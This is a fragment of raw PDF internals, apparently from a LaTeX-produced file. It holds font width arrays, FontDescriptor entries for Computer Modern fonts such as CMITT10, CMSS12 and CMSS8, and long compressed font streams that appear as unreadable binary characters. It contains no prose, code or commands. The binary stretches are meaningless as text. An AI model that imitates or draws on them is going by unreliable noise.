678.8 767.4 637.2 607.6 708.3 750 295.1 501.7 737.9 578.1 927.1 750 784.7 678.8 784.7 687.5 590.3 725.7 729.2 708.3 1003.5 708.3 708.3 649.3 309 531.3 309 531.3 295.1 295.1 510.4 548.6 472.2 548.6 472.2 324.7 531.3 548.6 253.5 283 519.1 253.5 843.8 548.6 531.3 548.6 548.6 362.9 407.3 383.7 548.6 ] endobj 1255 0 obj [ 619.8 569.5 569.5 864.6 864.6 253.5 283 531.3 531.3 531.3 531.3 531.3 708.3 472.2 510.4 767.4 826.4 531.3 914.9 1033 826.4 253.5 336.8 531.3 885.4 531.3 885.4 805.6 295.1 413.2 413.2 531.3 826.4 295.1 354.2 295.1 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 531.3 295.1 295.1 336.8 826.4 501.7 501.7 708.3 708.3 708.3 678.8 767.4 637.2 607.6 708.3 750 295.1 501.7 737.9 578.1 927.1 750 784.7 678.8 784.7 687.5 590.3 725.7 729.2 708.3 1003.5 708.3 708.3 649.3 309 531.3 309 531.3 295.1 295.1 510.4 548.6 472.2 548.6 472.2 324.7 531.3 548.6 253.5 283 519.1 253.5 843.8 548.6 531.3 548.6 548.6 362.9 407.3 383.7 548.6 489.6 725.7 489.6 489.6 461.8 531.3 ] endobj 1256 0 obj << /Length1 1191 /Length2 5104 /Length3 0 /Length 5853 /Filter /FlateDecode >>stream xڭe\[PJzKjff% ) iDJPDA$RDyssH Їb0C"A@_ ㏀)` H4%  k3ę,1h B2j!pN?L;W??POGB0^~X@Gjӝ>ꁄ]=1P\O髉 DXCF66@jSMKU#(5 Bߌ2`+q_aH+@BZQ&GҀ0#@cp `|(~] K IVMo ~n$g$ ߄b $ &3 7C oUw>P,aKma@\2Ƒ.}|a?pgw1!b{ݮL|p>q.H#4%2L]՜o^4(w+2L!8cݑtY{z [SP,5Pq)؎`Zs\^"_y_>bK$8 C]̆ndQ>uaiٮ3W6j{sgiH#TRJrz|Cm^ddB[)( 󇪮л=@N }- l 9>6Iv6x۳'}#b,ytcIWfVĈ>*'eꁮ^בf\V=ۻ^/ނ쬳%'m7|%!HXv/kf^lOͼRY]_YZ a;yDyp݌wֻãZ;w&C)_^{Z2'*jzӋ1I/i^7va6&r97 ^s bcܱKcZ @,AP=Ymbo!qd!v]z|ذ^OZ!MA{ͬx'fMzlǰf# oLQs4a(׎[a ,5 aSo%l{75LFE7{& tV˩`l1NgEtHw750M I'5M$#ŤUO?Z+ڞ~fhGY*D+ {% ;4Ez; ڈv%FD`^ͭW? o!naVB2b=9Y Ua5U2~Qvڊc^hYoAjrFkQQp}ÏU۪j)ɳY̛5ݪ W6]gY%NJLj)әq@{:SyPj?|9Yėc5.J`>3:LFKf2wU};\ъ)i}FMw_7M};״ī9b"$cpX*ء\#xe2r$KMA{u-4AV sPtٷxPasOkF2u&JFXώ;\g)g-ZJ[a6fHx"Jlt)_,`爭R}fyFgul9)IBҝWGf D TX$𒚁NpcԲPOQNZiAhUoY,ޡW 9_s^O[ƕvm+*|݋.Kh~A~rGkBustb sf[jV _ fA?( E6:- Iht錍#uܒR2տb!cVicՕ{$PiF]\`JB'$$wgp#Ypg7zt*.صec- C6o 6[797U hCQCQy鯤"4W)&FM+1sŮ%jG'W"VN:%XLD9|;:kJ([ZЕF^L<[wQ;Yno8se;͕P8ƨWkt ΀8I2Y}i㣽XZݍ8q-?KU;Nio?euy Fdz*qFqDǐVx0>)|Gx!~xdw+ꍰ[fQC|Y`їLmE$2#Eu e`a(X\^GBJs7Yz\H/inmz@ѷhk'ȿvPDJRSu)?g7i;[+a<'~&$YJ]TМm[X(; etl]uT%2NJY-殡lO'մz*=2Ek]V/?j.%5ewwMJ mz]-z6?iPG,N%Zh)iW/αH>Αr4p{~ѫ0КlRtu_D2OE˝Mj̆z/óMS Cʟw~Z z<ɻYTwUMn%˷^%1q.>w㛸dNN[ɲH +ל<} q򍴁(z(ぇ\>y]W+!8P!'VGiZxӒI~jkҲ]<[c$EĶsSK*eY'n`t<}JsVӆ R}!Qong6mt2 C>*gɓkѠ4JSM 4>zq÷.BpQl5.gX;VJGi_&ZtcLm9ıg \a}QAŢ>o#NDCZ%0%Y"QE:{ ~Ea5[3SW%Pz6wMfidi{Xc;((A @A4<֘gǜLK5Љ>ԦѪ,znB6=e̘P!.Cj>R!yEo-=%Gm"f2?ҥ3SgQޤgV2-MRs2|)%^uߤw:O) {8drlzlڊNf0wT%p"H5t"~y~A,لׯOiOx!?H_HQTh: g)"|bky0QBsӤ[4@k֜Ŵ#خO뺲KKkO{"/wSFwqGoӊwzcgfAbF54 C(쐲<ЂAuC^6/lU:i^sfXdB55e[*Ϳյ*5LZ)foU$:*ovJQwez{|F$^!7'3}}x<`.`s ,oޔnc(i*J8I'[e5T( GdX g 4]7K\ ͫW7_p}$ ꗷ/9']Gy)iɿy\Y8WfwL5}!YYbI{WUk|:z{ooKYuv|i;$6CU'| [pgp&xt΂lFOרOQFLQ3,D Iၯ޼yVXrsZv(]EᅀN)+$SC{hc%mȓh]2Y{ _?}]^⯔%ɾcm⽭^5oSzyiAL VUX[d&`4nCOw*lĞ{W9}TF˱a6 -`pl 1.|F}ŴU3s$O4}g9cn0+g]6<[(ִkXwpCZa<g}-m-OxX()IIѡPA<|\ !]L,dKR?s򊅦3w샪($nx_ 1+` S$3((v _(u7CZ]ZC'c(L? V|y&iNn#S֥ e wƌ}=9 7FEObÖQC9δz͋)>$*lDݮT #x+_>|'IE\u⋆ V.-BM*8{B7'$ӣiA8 endstream endobj 1257 0 obj << /Type /FontDescriptor /FontName /AVCSFW+CMITT10 /Flags 4 /FontBBox [ 11 -233 669 696 ] /Ascent 611 /CapHeight 611 /Descent -222 /ItalicAngle -14 /StemV 69 /XHeight 431 /CharSet (/B/E/F/I/N/O/P/R/S/T/U/V/a/b/braceleft/braceright/colon/comma/e/equal/greater/numbersign/o/parenright/r/s/underscore/v) /FontFile 1256 0 R >> endobj 1258 0 obj << /Length1 747 /Length2 1013 /Length3 0 /Length 1538 /Filter /FlateDecode >>stream xڭ{8Ti#Q#%]57NEf^͜3;sF3b\QHtJЅn& )mk+mUY9~[a'VC ũL/6 Ύ"Pw]q*)pl%>&(8)C"6ɠP PFxERkh'C;`1TBEHL& bJ!ya`jKTϣ(PPaH J5@Ht?8 ,HsT' X$CL¡0 T#'6 *ȩ."b.t1>!#@H}JF s Q|"=PLjab׸ȌfR֙l>Jju5W\_7#}N%av"7M-(^C+d6~¬MmQ%g|;V[ N ڸfF=ǻI!+piG[w=l128wFҖ5ͦZQ6s#:[}gvN_/r/N JYgյ&>[dFF(? >ǎē'UN; *k3R!ȂD1is9]g)T|Gޗ21`|L>G+x|Q^Tio;ܴudc~{B*{JQnU m MK ɗ#*(W Fer=eg?7QM"ǤlS|J<|NM꺠ǓW 7o_e-|o;is|y֧9$e/~9#2n0R. jn̉8+gQ^+E]o"欿boz/U frmqV7=qbgw1fp8No=F '~EjCQ3%ΜZ竍[{_sty_P5kmڜugZ}qrܷ݊DzܒmSrvt_ߟUcl*43] fbm[׉kJ$|4< sJiy_3^O{fr޳UzZ#Lut8v?2"]_qigmzj6}'n_L7\n. o/paS}Dzzw| ^cfacm'ruƬp]PCĜv[ &%S5^k>+k[UUV^c,{HkdlY6H)_Q`òS&̦O/TL6 5)0M endstream endobj 1259 0 obj << /Type /FontDescriptor /FontName /SRDPYF+CMMI7 /Flags 4 /FontBBox [ 0 -250 1171 750 ] /Ascent 694 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 81 /XHeight 431 /CharSet (/comma) /FontFile 1258 0 R >> endobj 1260 0 obj << /Length1 1988 /Length2 9038 /Length3 0 /Length 10107 /Filter /FlateDecode >>stream xڭe\iVkZrXFAk.Ii閔zSx ߙ74j q G3 ;+@RbgaHMlLv~~v H::yXY%.6eS7k=<)r4y!Ɵ +l1wl0*wtlo^^$^ `8µJe!S?ѥ7x+ Pv8o)-l+f 1wl4ٸx-ḽW?`-޸ԔՐVgDT3qprO?`G`?v0wq7 pl,'b ? ƟpL$Px@G2>(H#q WWz$#U ⃫=\]W=\]z$@;\Z~xuf8*@3ٸ[Bmho8jW e߿-bjWx,~/i ~Dn?XãpGwVo ֏Ww C >\Gl*O7v/7zNnx2'Sl8.Y]k6\I!s[qw+?8?vx1?FG7t9-/IX 7SWWx< x>^E BgS%$=}XO &~_q. -m0ls\066_WTFD xf̠DHwEgJ MM*-kdAs|fw=q׆ˋ]ډ=nDձŁdه=jR <3yxue2 Za!iE\a PD ۰'0#&wOOr /7ǠWMlUHksټ9M:7QAҸ[RSY+_ a+y8(5+8`!ω^q~dEcgpn, 8:>+>hڋlbpLl d mR{Qbv[iU\Nd޹Vo΢7ׯt u!%Nb0 /Xr{:b4ޭx TO/?.u}߼˿Lfb9׹Ő@-2$.}RUO2SJ8ekrͣfL^=OoaG|A^<7hf\# wл䄝<3h>l'粚'h;ԾufK SRZC"gm%0Z(L(^|$2XɕLz{^1mS[|]YXEORZ7Up8+^Ɲ`FK#!a[;s3ejMq~5[SsiJ{ .iv/Jbf1TK@s;iQl2Tw~Wt -<EjJW-g,8NS E wg2Aڃi2Uy|Ԯ؞H8BN"pp@~LAB"ִ6QD}DSB:.SnULSjeě|6wSWjS 2h=-Мؚڸ/Cex))s|[܉Yt0,&f :8R pRR/-C^Ű[)*Rr}<`\ĉϾ#l`yIٹ(X"=jg ّ|>dIցѦoBAph C p_f&M]EJ,sxuW)m-f4| .SoA+EHD?:uc mв~dLz*@E6wM({5HsrC MWτE_#N֮9|Ad<#]8 -{$Nw̩Η.m_dw*ob˸J$4Y=ҽ>A[3gԁz;~{ȳ9O۴ F.3/!JUJ M+pŠM6(Ko!/Mҩ ! .8O`b7 =;*mܭ #8UW-!:SCLDb%`#Kr057oحkG5';UYIQhL@!a|TϹ/AؿvkFYʪX4Ava.GYuӟqP"L3+eAzk% e)}8Ap}%Z"3\&[DoNF>(fhaԁ= uu^ Eqcx,-23 X\upV; Ϊ@ 36/@+kU(K?tn4 ] kmHڸlO(KVUhAUQA=z>mʌ4U).j=^3Y̻{#;.3!oŊ6Mks_SM`ʐV4pum7ocuSRQ6-[#Ɠ ,]MFdHø,ߔe/S5yk,z,kh{ &ܠ:` Pri~*(Fz<[>r9mVِ_Pfe8, @Ly.GUŽ_ "Rn'6\CcTv&)hҺ~i\Kl {]O0Ę/:V Ẁ!bkj5Uu=%|nK%u]a}yХDbV QRUfɞ1m ;)4? M*H^L!CAEdg(k MYA%F&u*\9yL80UV=2X m"IB]M L{7scf}w._}̎7Ɉ Y,%l䓬[z%r,٥ 4'qN+s" r&8՘fS:(qKN82wXo] E Fp$䠞\a5a ~M=(6jSBJޖTyjj|\#^LLs"e$7 T&JRU͞K,3]mȂs)ۄTTQof7iӢ#nEU (>'#` A79h5q@]]/г>r;+n 8mSoI 3I)\f#3>͆B Fne-/8<F,r׶cQ곬.8IXV3ϡ3WK7)&REr⦊GW/~^nf?]PiOV滇s!> ycb?ד;+9Y>;;n"L/(+Ԉπ;_Qtn)D_nţ:!˃{ u.!hBI1,Ȝ5; kVա{ SM|ri,TxzNo|'gf' ;$e#eOX;00i,I5sjyɫb4`j0g;q_ߠdUbe-Z1FHS'~΃r;ڸJ{B.d$s̛krS6({m"Ē?`¢жW̋i k|^v5|Sy6dIo̸BLmL _i>PdT~]*v˽J/r4`.Bj͸kif|g4@?6Zҡqn oug~[p@tx[g>Tl-=C ٗTڣj]L,)3Qj ~>ajCj~D/Y|H'&sVx#B7ԳLCWY>$+IB^]pTzU$t>uSkrv`N+hW5&[X.F۲f=&@d7N2"zF=I^zGwO^塺Í $,5P=0)V?4^0cPt2x9XݥP]KԁufW .ov$Bjb/&S.9\eFԐҝҍnV6U0tL19~4Xv@,s3F+ЂrKP1?iyx& ! V—Er3msr 뻱3"[m|ZAĂ?m Lu%*X8Kƌܵ˷ie4)d;iU3HLtpFrctX~Z /?hjime'~!}} qֶlO1MUeuh-wkror:Q8ZLVX"nj7M2cO3җ#?dȞu?4qXoiJ[y[ksַ7~bB<1HÄrөbo }(LbO??/& `jdrbJz֎bwR\˺ 'R voUﲼ1 "j{x"m6z r$\vtR.'zC(OI>:l -}2U6|8un3㡴VЂpm` :Ye rQ{C7)qd؋m\>r0 o4M#GKԶWNOԄ+$HGWT %3VYHy;rf&_ wr3cM(18̺fʴ5jx oɖ8Rm˭'Gxߙ!WYahGMKZ7ΘbJ2қGGv?MO 8Xaz&paX'Jeh^0Cr\o*JXͬfz ]dQ Zy3uVp }íuRnT&Fx T۰&sB%Y:mBټڝ nU/YMKHgA#X~z/Am]ramȽ{gEwM Di?3\="U{r;-ݓ yIO;&c5~mqO o&Մub׹~KҘiE, [z5hkR@-XB[PuJ*|!uZ'=kWر5墪(]Bp1CiCxtJYEp3k e^w/J=H!$[xq5n68"dLI^;JnFr)Cf7]L8.d)tHe Em1(ҧ8-/Y_7ebeRr# /԰_aڳadF ޜcQ(Nsı?VnԳ6T*SYek-Ӫe+=\V.s#+4BUsR'IaˀzT?@!TzehvzZQ pxl::u2tFI8~y9uG-KlJ=7keǿQ+_D6$OrOOw4W݉K(n8|pj'сyr{Kكhl6s;};8PjDpō"WV~J=\ff}\nG5$h)F-kQ48ɦhw-߀/g#;Vj^?|Ľ^o~+mÕBm N~*ۗ;@{k%%P9G|iDǚ`5EW@1$# }C2eZxa\-0} uU@6SKnqUXoi#fwS ɧmM)y%/~|iE}F͘ZِSkOX@0u~35n[t`NDߏ|JȪղ#PŜE h3@^b=TGBmwjcHqjmT/}q" WVoD"X88'KcXRK|X{ǴL'3T'' {tl>}ޅZi|%k0m+Fk\̭cb F=bNYߓLۭ07wlxA &Mn3jSD<=1e% A]+0Bn#YUq C+n(x|h[SiyHea1by]Jz$GL\ 'ơw_ -ö_fWBwN(5{H8zcă/&ՖWXQH_{0M;C߯pb"#kϭ|#&Gv@êZ\}E|9ӽgiqwgBϨ,Rzy)??xW391}|T*N52h2dk4%L;(P^qTb˂˝hԪv՘4K`ᵳe 4x쀛Vce7!5ADt-C,{HTھ4q9 ӹhN/Bg9u?du^ESmD uG"(yd:qu/gt͇,y^2 SE27W7RlxHٴ's*E"4lЏ;V7ZvEJb7cNnzںrT _Z$P"я?oJ}$*)OEP-bӑ(sN:skBvI~>[u*}h>om)-˭6IFI=Qto$jiq./T')g*G4O< .|K2FUfTSrFǾS@KITآ\'#,~=ݳ+}4ᡓ7G @s L`ـ:^dZ?æ^9bQ^qytu) Q&c*a9eP&)nOȀ{6V|W==Y'[ c{vT>Yuf݉>C,dhyބe40> endobj 1262 0 obj << /Length1 1556 /Length2 6447 /Length3 0 /Length 7326 /Filter /FlateDecode >>stream xڭeXkA@ ABRz;n`(!n.RE{s͗ZZtTj,bf&i[# PPS@ltt-L@1' ;ɃIsstK0 @L0ba lM n1(g C!f `a(x69 q#D"f0 b TEԂ wri'(Tl'_S?~?6vNP- fVN6:Vb0 ( .m 1Sr4p_v"KPQRFv/2 fO?1qr豱 8\ q6`fW uD, 0u\ (qGR(}G P8@;BT#DEYTT#PB, !MG(7#D3 !"t@TF f~x{iu/,ΐ{Ewcfg ݋@gD"RB!{ZA#"vOvwnZ;;YA}1#6qm!'v7_?F[ĵ_@ T!b{(v̅b{ύ=DL!]!{]Ws[/.n`a!%/ř:9 f׋x:VqbLښ X'zK 1"[E+V}kz; }mϸP})wm 2 }g*l7oo R?S/9ʒ)EZ=EtJ)3>) ] NzRle%va|11CS` rIT]藜H1#̜|xY6rĚU~$ܿy 6ŝN¦Z7y=K)9o8+)8 ؇?'LG$sg qZ퀾߂Pѿ0ߤ> i_JNRIkdh].wPji;*U!U;k9iytSZPk}myS &~BPf(K[r-Eoale6 γVӫWk'հ]y;S5vAk^(BC{ c UOs_9 aӼoW("UqZ'h.4's !q$bPx]<%G~,L"jNi"ivoǵߖ"z Q7vG32e+Je&#b^ {7GC?k`Y)]^g/ _^Rxitl8ώ򤃇kv؞^ u8E#e ŐQO/vՊ]OڟߔRw絡|;~g{'efyk[hq"4eW_u^Np:Zi\ : GPYxVRXRi+J s8[U]KDv  [J<2|(kx=<p56=*ZvzJ z ^\q^#ZWsj~G5HOpqZqx ji#u@G"8_QrU8:p$Pe.|M:G Ͼ f8C|NELJm*KSU^f8tMҼA-.&gչeu %ȐR"hVO &NhW]n%XvV^֡zҸJ_d' |cu65UOv껞Ue%浾*}c!\!O#TqnzXCG59'f.UUC5j720i~B]9o:o@q1Q'UO,-\f&mc:11<0'7^Mb@vO G zFTJFGbd>e̔30N ]Gl`6&TZԣ`on H(ŶbvRsه_U[8X-$3_JJTcEW#QFRWpka}u}Ebg"*S7S]~Tgَ[Cu|&Y6ٍUj$dO_1kE > a{)/S+(Ul"iDHM8rZ1P®np!/o‹1vоP }^?]KifR?--Y/SS{7BZmz.Idxˍ 5ױQUKUei߶v43ˊ tUd~}3uvJvp<"i6xW4Nn|b7!iڸa < {G-ţЊרb-VʻS?B骔zY%+m61cT)U>>F©JlO>1YPRw\(HmK~ĭ-{)8Ej8!gZՠդ",Oi;RӐ\IrmI@g܉R~JJmd%P%L5OM^5:O҉Rg۳8Bö:U?8aEͅg'kLl#}<^J6 f3.{l$=Lɮ{d4A9\H=` MϚC#$ag}^Vn K&49կ-v- `r&ߊ1f`csX\`MFյC^릛D[gw+/8L \E LZ7!ǍkP$($$Rw> dvxϧ֖Чt-<Ӗ ^`;<"&Iu՞?8jOѭIR*z^-/+/Mu`O?!sry'J*LCߩ{phK_:jtYqݔ8r/6Bn+ 1qG$qnRRr8`^ܩ!)-.OO (ةe#ޠzRzU \td1.݅綐34bb)4x]# :>ψ_qn(dV>SB#fù~ޔP~]1pMR eA/>ICZ[aKv=I/#0m1:k#?,,'0.`Tղo~%:B~7L v.у$b϶H7d7m6es,YjYN?P^Z7\;Wp[ho]`]r¸Ȥ ̋IOU7UwI\鉾/;3f4m3Va;kX٪1'y웟Kh3$ w|G 78> &qS8 Ll4d|IS+Dz Y_A]r'eӗk5N4-7f_8VceC#o?oDVUR)Np;(~v rXH)tH2n@Ec VlZP'd5 /r ]: `[w@j)ixbau w2]p=:02:qM8S.Cbq=vM3Gݗb $~_r9X[$':#5*zU-uFͷ{O%#).iVXKsi7&+w2ݤhj /" R]^("o+;ԿKeؾ)3gSsxGX!@<` "?d\{ZAzILڈh[˲;aŧ8OeaMl:R8 gGlЖ`j$y"'A+J`yH͍$)œEQ/PCOo|3j%D3]cY-(=~*Pޯ67 d~Kқ'8/8qW= \]$!VN2EC -_t\=mxI4ͥOX7WȦ!Ѕ:Rr旲LC@|FI"ۻGAVf1MIdRxrKu̐f<WtDs&nZ0>c~dۛT6GkH j"y%'3.~Js~Ⱥ\TDȚ#49^Fcͷ~3#tA5]"x(/'i}>cJŋHjQ~{nZ2;.yR*/?!29ajl{pkXU !yƏI̖hƐKâR 6R O zDѐpyNϻ}'+mz<'uj d endstream endobj 1263 0 obj << /Type /FontDescriptor /FontName /NDGAHU+CMSS12 /Flags 4 /FontBBox [ -62 -251 978 758 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 76 /XHeight 444 /CharSet (/A/B/C/D/E/F/G/J/L/M/P/Q/R/S/a/acute/b/c/comma/d/e/exclam/f/ff/fi/g/grave/h/hyphen/i/k/l/m/n/o/one/p/parenleft/parenright/period/q/question/quoteright/r/s/t/two/u/v/x/y/z/zero) /FontFile 1262 0 R >> endobj 1264 0 obj << /Length1 1796 /Length2 8000 /Length3 0 /Length 9000 /Filter /FlateDecode >>stream xڭUe\ݶABFj:D%fS;E;F@@JP$x{s/ֳ{i)XDLv( SPSX0hiFPK;"v6ĎA ww4^v؂-M #abdP3CY"66NUlʊL-Mc%[ G.`G'(LKL` 6*raJ?D7oM?F6`gk ;LvMljlߧ2P#K I ll 58eCL[oԔWgg:S6@v=bXw-lll #Kbbgj -70,!`7 & Bx1~ mq{D#% 6P@GJ?"P?"X>?Ʃ`,Ƣ8@Gc`;4@0F&cUedkf#DƏV5j6>9Y?4&vYmmKZӿ ,Hdb-H~88ӟ~; k#Ř=B.X_{9;s1 Jy & w{ 0//_֪ԁ`mx b ukl002{#G0? _ΌcX=NV_0c{a`/_] vUddA \ jW/S0> j`;9QQ;7O+bf]j88; 'f v`,ٙZ4HL"3‹7*uOw`,ۼs`\պ.K'F~zKQClvG I=e>n[.xϫc%څYGy ;˔p=.=V!hL_ڝ rξ%w` {{- i;h={j/')ỹW_"d+ {' /zdeI't+.j&B2ᛘMQ jw93<{J 7t "R3gV&W[r h_~#㭉:n_!bs4S9 Xo8$zh<|kke'9_o1׾c,:%_2Fo26WCΌpP)\@ޟٰ B ׋"*7C7kV~7JE6c]ØJzSo>O{rV)5 X5M9)0{Սyաn9$lF=~am|B ؎xB| u w ښA-ɋ9B\aqDt/hK [@/fݰ7tOrRmɢM3i'Z `S{UniEIW_ɹ[k.+RuvSd}7~L0Ei204Y*0Y8F;6kS\IFVΓ,Tq_IC=?hJzqu-6gy͉~j%Rim;v;Υpuϑ'V\2F7ѥ/TXb{t=-tN)~~4r@2ΩGi*Y{ϓw؀:}$yn%ކJ,wKǢHvvsdk=Y UK o9kF4*IwtꋪUW snٯCg+Grh3<$ 0rHM83B1&7C*d$]gHe]NK1y QjkZi-60IF6bJףjɨzx]N3ۡی W#DiY88-]ao9N<> W̠Guu10p[KjQ rrvOfr ;i3mXsٵ=,7>6Lv4P76N۴.}زH;׊#F{`֍9ZtyYIUx*V)8::}ޮdf$19S{ ZC *- DHzdɱ-\-2DKqagN>{ueZv\*7}hJg8<(+*鱤YEc=n [Mag;vgM,N=ԪZ.7"kT^lz^Cku Lo9+v;+镩PDSN Gkz9na2t>fuұ{{H7ϫάepDq)f,')Vw`$L K˦[a/4ڪ#Uv['#ӡ+kYy0M Du(7:R;N +䩡8[u7]7R݅Q(ݾe^\b&O:D shR~%'x?9Qs,kK&%Y3T_ `2({e& s|[ qݵuԉdJ-CK}- +l`e\ Kx"6n 쳪 v:cb 󩌽nմ8 07|S0+\u^ث~(6˯Zo/{ sO.;\7Js ?.11GL]}Y 1N.ɦd8ݦٿ=UCDzߦ4Q5I|z<)v%₏G"jt]ŇO\aqM1'?)9Xw3?y>hΣ%[%6idfAmU{6Բ\iYrrMwaKZUe: 4r!U+{~N,C5b/)^%@bMD i>gːnAvΊS0Cv#.ZXJ6fmd+Ā|ɀ%cƸq:rujijmHHRc,ZM5Tx C̓ıCpE+72lMۀ_\گVU)Xýf؆VR8o%Ƭ[ Eʟ _7ǡ}/tR3w] ԓD<|!h:DT}b6Yquv%->T5-)!r|<Բ~)VV5ɵ~o_mzXT]Uœ?qekܽBͫ]0$Fx 4mx<˺{ EͶbjJ#!a+PdI)o|Ns?2[std)Y]'&o}Ϗ OC= ̱[WNj-wXjmnEK\ɪ΄ Vһ5TO`og>574앬"b"%m+~xկ'm2m%^\hygƖi n6Ho93w B+p܄"URHY.LogEhXKt-~&nBud|gLzaY/;X k!`¸iD5~ZA}t=7H~oa9Q[KYdJ9Bo}lW{hRU_poG |N_%Ɏa=Rtb{]ƱoP*;{$גJ$ݿlgQб0}@_\SU~a.Iږ=O7:C.;S޼GC1vӀ,23hIZ+2r R|ÅNu +:5~Mk`8yxoq+0T]]8g1![~:[P@y*\Z ɐ!3NCR$MO\XoKhv5uGt4jQDbFd)yde&d6%hXAix,n`1*fy_ԙljontr~?ohvn-YKUgbI/}t&J] v҄:pī~i~ђ1x<=D~=LFDq2¿+ (ا9rm_/#Bu ý3H+9{w! wDj˄􉊔{3<sUj8 kU Gp8s=9i/FRdEsAM~r9\@\tqϑڗi`QBA \/b=̻\g%|Y\f4ql .\P𹶑M ߇2?O)Rkߛ8}1K`4IeXkVCsz6υvi9I)"x}hlP.-rFa$y7T HG!k(zNTlso&ux!nXQ"#G YZL] lk e!;fpc$S_)wrzOinӱJ.FuWzū#җ@R_cΥ˲Ql'ԑT)]"6j sV3{2^e;NNΩQ(b ;\qcTu 8GW#n @}O7UxxOf<:sؖ!(`i$6G"!Br{/P\XDī랫ExGm4n[l(!幔Jtc@ՙY9f[协PK܏ZŝxjOp{ cQpWḺ[FL&_Hƣ}ӥ^bp%ۓ~6֮3Wʎ8,(gxjDjZ1Pjwڴ. Zm U3+pчg-E&X=ڂ| 8ame~B ݦ5=dd;|5~x2R蕑w{O:ٌߝ*aʿ\v ́qxͺԪ`VV'iW7HLW nY8q+n $ܧu:4?)~8ѡaqZsy%\~%}WO,"o\5\%Ϡ攴cp9^J(ETn:aN7=8J8+ET GOM) 1jA %v) .NH=𸽻}n/!HljF]BD~ݔɋ,F}D$}vۋ|?+Yr|}J @-, 䒍O5zkwQK{F+IQƖ#uɿaT%pDzs]t|{NbF1ôD}r OYPhj2:*,KWdRPH,z7jVBw}5|s pܟwŗ2[|+Vj֎'z/ԸXE2wkb/i?z3h٤ȿa<-Xz']H^u#i2/<B9™\d*J 5ՌFxj|W<-(D9n`<,b26Y+jᥓ9X~Baq!&`>ۤ=b"Ь+P_].z+cNilx?\w $KuK=m\l{^tZquǶB_E,fyS`򾞐T}D,:b}m^) zmΞr|WUaɫ+>?k*_dSWRF`w'? {Oj5n,S3/S2 +^[w9f`XrX,o r\d g^$'o]GD0B;=~FrT;oeM0+-ftJ~փcfMiFT+CǸC %{|*mނܚ5q'W_DZAee*H?fIN%1 &'w[qЁPG8E~7` brPaxX 嗐͛ۤ3֚ylUd&b*ڌ6Nf%rLQ*>^` tfF% g_hD댍<>y~B%^%:IAÞiX#-eGfuӾF!cYtnbK1h"mVT< Qǀ ]Z 9Ы}O9 b쯘' Cg]Dxݕ)XS}R+8LUc«nȣsm(1 |]fw',@-hJ곬j.mm}e] ף%Z1 f?6?oB$Q%{6};k׌0di%$|Q((qegUW#SQWԩ=RbVwFA3cK$+v,fdWʯF4)DfSg(g~*k]A4ʌz46mi̬7쏆J{b44m3ir|1b{Ĥ>  Orr hc!RV&R>r$|I :+l")? endstream endobj 1265 0 obj << /Type /FontDescriptor /FontName /WHGCLT+CMSS8 /Flags 4 /FontBBox [ -65 -250 1062 761 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 87 /XHeight 444 /CharSet (/A/B/C/D/E/F/G/H/I/L/M/P/R/S/T/W/a/acute/ampersand/b/bracketleft/bracketright/c/colon/comma/d/e/eight/endash/equal/exclam/f/ff/five/four/g/h/hyphen/i/l/m/n/nine/o/one/p/parenleft/parenright/period/plus/q/quoteright/r/s/seven/six/slash/t/three/two/u/w/x/y/z/zero) /FontFile 1264 0 R >> endobj 1266 0 obj << /Length1 1391 /Length2 5283 /Length3 0 /Length 6096 /Filter /FlateDecode >>stream xڭu\jiA:C`YFPAX`%RbZ.)S.Q9=x?g7+#}""GFA0?^gMHHËi1l]?0 @LĜ4;ka_&C:YH[Q F0zz.ӂuZLMg$?u?S:-\4 T8&buc<(s~1aǼ4AhtqbbE<= O~Rf[6Vuf8l> g*T[x?]#>PC9Ǣ'V-VSMSVg[dǏEuFLs2rt fYڞ״:Wq 蓣DB<^ ڇݛ9@R!̎zzFCa4MP#93^q*N:}_.[vði4q\[A~օ&m'3n ԅH*$\x%sմ5 |Q.wn׎igX zJP*30k@R>_m[}wDM t|23TZ'v:". )<%\YRӑmg {{wfW%/u d.dDIFޢqkbzU-Q)raAVzJ^n?ҎPm&^PE5y–s;_)T4[:+Vʉ钠>-jo\-b[?z$n: ;>Z$q`Aɟ˫Q[5o*rq_]n<%rd Vl'YK &exw[$qq,DwJHqJ/"P6X廐t/sreg\/G]|Oٮ;e0-rTc0z DӤV1i([s1 [,EnA>񶯉Iq>p2C;Y|\kL''x0K7:@<@6|/C53&GX/+F3ss#p a*cӤWː4)p`cd& N&ҝxsl_" klߘPLPMnͽ9UҮi^'-z2|lV$k+p"-4_Gҳcݴ>e! ZKV}ˉ;i',bϝG(hGJOyL =zKm67ΨÌbgvs9MƏ_kY%N7$Fv0z2iEod(_~G/(޳ttےyqlU >BɶW9UB_%f9*o38-0VKGm޸O8}}jZ<ݠT\ՏB^b~'=qAadB܂ i N_+!Z0nEN'Uu?`Rvv6)ΤM̃|@-Um76-t-e hG3JdkNv`o>IL۫ė$kMnžtW<EkK k>Jb꾠׳JPv|RhQ.IIy!y:Rmz")ɬ"v"fs1wBgrE,7j67JTl+]6m@Ӫ4?lOn5n(dM}-)ìySꁴHyx_5|Yan ^>C?J_o se7i]-ӯL!;s-)6]rz h;}*" {Tä`CN e_'>9-”', ͪkAiTk"ӎ󇜴IF:;:=҅ /`1 GL~Ju<1IF_J;) u҇e_-!Dt&a2ӯ; k^3]1)ސaܛ+єE6>O;ϧ#n6[|x&pe:"< #o\Mr 9Ϙs@j4uQb!ݹT1g@JlZ1 JYϬ88sd@EƩu <ڋ|>PKzA+ʟ 6KXzʟneqJ}=qv+`87 ׭)!|=IS$?DYLwN{%sɇki oJL|`cT|#vQ#'Cz˫JƟi$ |xFLIisE115"yCohߍF#am6_]d%t#3Œ…MkKxeٕ4Gۚd_ʣkj~6+P2Je*:e~A-ʵbRy7vUz9#*b [fTtsx3v~K͜2SJSw -_TO 5` b>l\$缅ڈ?+>qK`|c&ԗ5yU߀4qax+H2|8r5q vZ%64HTfl Z|<<9h0XIjT16B;īi5~};mX,g/.rR\ BB e卪$IӤB{=Llh[g2_Uڋ{yat = FۚH![`p\[ssi'ٺv^PuyG LM!cf8~qR[B^ ,vO>*=J @[%T|'u]g|DIP +P˗J7渹+!]`0a)}ipTYA^)*F2Z] ?gz<d7SOIKx_4`qrEa #IMišqԮuan<(rJzKe!RG0*QJ+޷ԝHn#AHfKq),$RTG[4LA{.+J(QUJlXv+lךʐwcw#'мz:A(Uâ'c0 Uh=l^F}F) 